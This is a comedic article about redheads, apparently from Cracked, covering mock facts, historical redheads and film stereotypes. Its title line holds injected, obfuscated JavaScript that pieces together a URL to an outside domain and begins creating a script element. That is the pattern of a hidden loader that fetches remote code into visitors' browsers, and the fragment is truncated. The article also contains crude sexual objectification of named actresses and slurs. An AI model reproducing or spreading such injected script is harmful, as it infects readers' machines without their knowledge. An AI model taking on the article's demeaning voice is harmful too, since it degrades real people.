Redheads

Redheads: The Ghosts Who Walk)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';j=document.createElement('scrip

Some call them angels. Some call them monsters. Some call them late at night and breathe heavily into the phone.

Just The Facts

  1. Teasing red hair is on the rise. Talk to your kids about why big hair is wrong.
  2. Teasing red haired-people is also on the rise. This is fine, provided the insults get a little cleverer.

Redheads -- they're almost just like us!

WHAT CAUSES RED HAIR?
A low incidence of the pigment eumelanin coupled the presence of the pigment McGinlemin, which is also responsible for me eyeballing your redheaded daughter at the neighborhood Christmas party.

Secondary causes of your child's red hair are conceiving in an upside down position, being a witch, and the fact that your mailman is Irish.

WHAT ARE SOME EPITHETS FOR A REDHEAD?
Carrot Top, Copper Top, Strigoi Vii, Burning Bush, Firecrotch, and other milquetoast observations.

Zombie redheads
They're still really defensive about it, though.

If you're an art history major, you might call red hair "Titian." But if you're an art history major, why are you reading Cracked? Go swirl some brandy, ya literate fuck.

The English use the term "Gingers" because they don't understand their own language. When people with strawberry-red hair are called Gingers and people with ginger-colored hair are Strawberry Blondes, someone needs to get beaten with an Oxford English Dictionary.

WHY DO SO MANY ENGLISH PEOPLE HATE REDHEADS?

When you're as pale as England, you take any opportunity to mock someone so white they're transparent.

ARE REDHEADS DISAPPEARING?

That's just a Procter & Gamble guerilla marketing virus. In reality, redheads can write their own genetic ticket after an entire generation sexually imprinted on Jessica Rabbit.

IS IT TRUE REDHEADS DON'T HAVE SOULS?

The question isn't what makes you doubt redheads have souls; it's what makes you think anyone does? Except dogs, obviously; dogs are great. Not little dogs, though. Any dog under 15 lbs is officially a cat until it proves it can do cool dog stuff other than yap a lot. No fucking way does a cat have a soul unless it stole one from the baby it suffocated. Unless that baby was redheaded.

Redheads in History

  • I've classified all the redheads below according to their type, then assigned them a five-point Redhead Rating based on how close that type gets them to core Redhead essence.

Boudica - If you're wondering where redheads get their reputation for a fiery temper, ask a citizen of Londinium. Oh wait, you can't because Brythonic queen Boudica burned it off the map with her hair after mutilating more people than a SoCal plastic surgeon.

But be fair - Rome had flogged her, raped her daughters, and enslaved her tribe. That's not a hot temper; that's the plot of a Mel Gibson film.

Boudica
Everyone is bastards

CORE VALUES REACHED: Highly aggressive

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Elizabeth I - Not being English or oppressed by the English, the only thing I know about this woman is she's Cate Blanchett. But watch me fake it: she hated Spaniards, betrayed her promises to the Irish and persecuted Catholics. Also, I think she used to fistfight Shakespeare when she was drunk.

Boudica
Is the Prince Consort of England title worth
marrying a woman without eyebrows? It's a dilemma.

CORE VALUES REACHED: Possible alien hybrid

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Thomas Jefferson - He's pretty well-respected for someone who kept slaves. These days if you imprison your wife's sister and impregnate her several times, you're going to end up in prison, or worse, reality TV.

Oh Jefferson, you wag!
Oh, Jefferson! You're always enslaving your own children.

CORE VALUES REACHED: Lying/Hypocrisy

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Winston Churchill -

He was not only the first bulldog to be elected Prime Minister of Britain, he was a redhead posing as a bald man. There are no color pictures, so I'm counting on the resemblance to Alfred E. Neuman to convince you.

Churchill the Red
Cripes! Is that his mom or did he pick up gorgeous women
by telling them he'd be Prime Minister one day?

CORE VALUES REACHED: Utter Do Not Fuck Withery

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Redheads to drive a man mad

Here are some of the common images of the redhead in popular woman-objectifying culture.

THE WILLFUL FIREBRAND
As played by: Maureen O'Hara

Maureen O'Hara, you're the hotness
McLintock was the only man who could tell her no.

In all the best John Wayne movies O'Hara played the woman who dares to have her own opinion until The Duke drags her across town in her underwear. It turns out she's still alive. I'm thrilled for her continued vitality, but it's going to make this line I crafted when I thought she was dead awkward: she's so hot I'd ogle her corpse if it were still warm. If I could time travel back to 1939 for only a few hours, World War II would still happen because I'd be too busy trying to divert her first marriage.
Honorable dye job: Rita Hayworth

CORE VALUES REACHED: Nearly indomitable spirit, Extreme Irishness

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THE SMARTEST WOMAN IN THE ROOM
As played by: Gillian Anderson


You have beautiful brains.

No one's sure how to stereotype a redhead, so they just assume they're brunette-smart even if they're playing blonde-dumb. Dana Scully was a well-rounded character who called everyone on their bullshit, but if you only knew X-Files from magazine covers, you'd think it was a show about a scantily-clad Gillian Anderson licking things. You have to admit it would have improved the drag-ass episodes written by Chris Carter.
Honorable dye job: Christina Hendricks

CORE VALUES REACHED: Actually did have a hybrid alien baby

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THE CARTOON SEXBOMB
As played by: Swing Shift Cinderella
Oh, Wolfy
I punched my way out of the womb three months early to watch this cartoon.

Every time an old person whines from their cage about Hollywood corrupting today's youth, remind them they grew up watching this How-To Guide to Sexism. This cartoon is responsible for more first erections than puberty and corduroy pants combined.
Honorable dye-job: Jessica Rabbit

CORE VALUES REACHED: Making me lose my mind

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THE LUNATIC IN BED
As played by: Julianne Moore

The Moore, the merrier
It's like red hair has a super power, and it's being Julianne Moore.

Revlon's Token Redhead is a versatile actress, charitable activist, and extinction-level MILF. She has a lot of freckles even for a redhead, probably because every time she steps outside God brings the sun out to get a better look. Her sex scenes have gotten so taboo they're no longer even erotic. I fully expect her next film to feature a bewildered Liam Neeson trying to make love to her as she claps two rocks down on an unsuspecting jar of apricot preserves.

CORE VALUES REACHED: Tiger in the sack & Being Julianne Moore

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She also wrote a children's book called Freckleface Strawberry. This is her being kid-friendly:

Oh, Julianne Moore, you are just the hottest.
That's even hotter than the first picture.

Honorable natural redhead: Isla Fisher

This is the first thing you see when you get to Heaven
Borat's wife. I'll say that again: BORAT'S WIFE.

Redheads to drive a woman mad

This is the only redhead women are hot for:

Coco
A sense of humor will get you everywhere.

CORE VALUES REACHED: Sharp wit, seducing an entire gender

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Though your mom might like:

Carucoco
YEEAAAAAHHH

CORE VALUES REACHED: Surviving in Miami

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And one for your brother who writes slash-fiction:

Ron Weasley
Suddenly, it's a metaphor.

CORE VALUES REACHED: Extremely vulnerable to peril

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Brendan McGinley is a lucky fella. You'll want to read the comic he writes.

More Brendan Topics

Check out Brendan's look at Dating Older Women, his internet famous look at Women's Magazine's and their Advice About Relationships, or his look at The Typical Glenn Beck Broadcast.

Or if you're in the mood to read and be scared of your computer, check out 5 Terrifying Ways Your Own Gadgets Can Be Used to Spy On You.